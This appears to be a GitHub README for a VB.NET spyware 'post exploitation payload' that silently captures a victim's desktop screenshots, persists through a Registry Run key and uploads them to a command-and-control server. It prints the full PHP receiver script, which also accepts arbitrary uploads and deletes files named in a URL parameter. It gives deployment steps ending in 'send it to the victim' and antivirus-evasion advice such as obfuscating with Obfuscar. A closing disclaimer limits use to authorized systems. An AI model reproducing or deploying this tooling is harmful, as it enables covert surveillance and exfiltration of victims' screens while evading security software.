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Silent Screenshot Capture | Post Exploitation Payload | VB.NET

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forthebadge

Silent Screenshot Capture | Post Exploitation Payload | VB.NET

A simple payload to take the screenshot of victims desktop and upload it to the C&C.

Features:

  • Persistent (Using Registry Run Key)
  • Works in background
  • Less Code Less Bugs and Less Detection ;)
  • Deletes the screenshot from disk after upload it to C&C
  • C&C server in base64
  • Upload screenshots in organized way on C&C
  • No port forwarding needed! works with a single php file
  • [TODO] Machine Information
  • [TODO] Encryption
  • [TODO] Set interval remotely from C&C

Installation & Usage:

  • Clone this repository.
  • A webhosting i recommend namecheap
  • Goto your public_html folder and make new PHP file and put below code in it
<?php
$del = $_GET["dellog"];
$folder = $_GET["folder"];
mkdir($folder,0777);
$file = $_GET["path"];
if (!empty($_FILES["file"])){
move_uploaded_file($_FILES["file"]["tmp_name"],
      $file . "/" . $_FILES["file"]["name"]);
}
unlink($del);
?>
  • Open the project in Visual Studio and the edit below variable in source code
Dim server As String = BaseDecode1("your server address here in base64 encoded") 
  • and edit this variable below as well
Dim php As String = "yourphpfilename.php?" & "folder="
  • Just compile it and send it to the victim thats all !!

Million Dollar Advice ;)

To Avoid Antivirus Detection

  • Change the app icon
  • Generate new GUID
  • Changes all the variables
  • Obfuscate the code using Obfuscar
  • Change the Assembly information

Donation:

If this tool has been useful for you, feel free to thank me by buying me a coffee :)

N|Solid

Disclaimer:

This tool is supposed to be used only on authorized systems. Any unauthorized use of this tool without explicit permission is illegal.

License:

GNU GENERAL PUBLIC LICENSE

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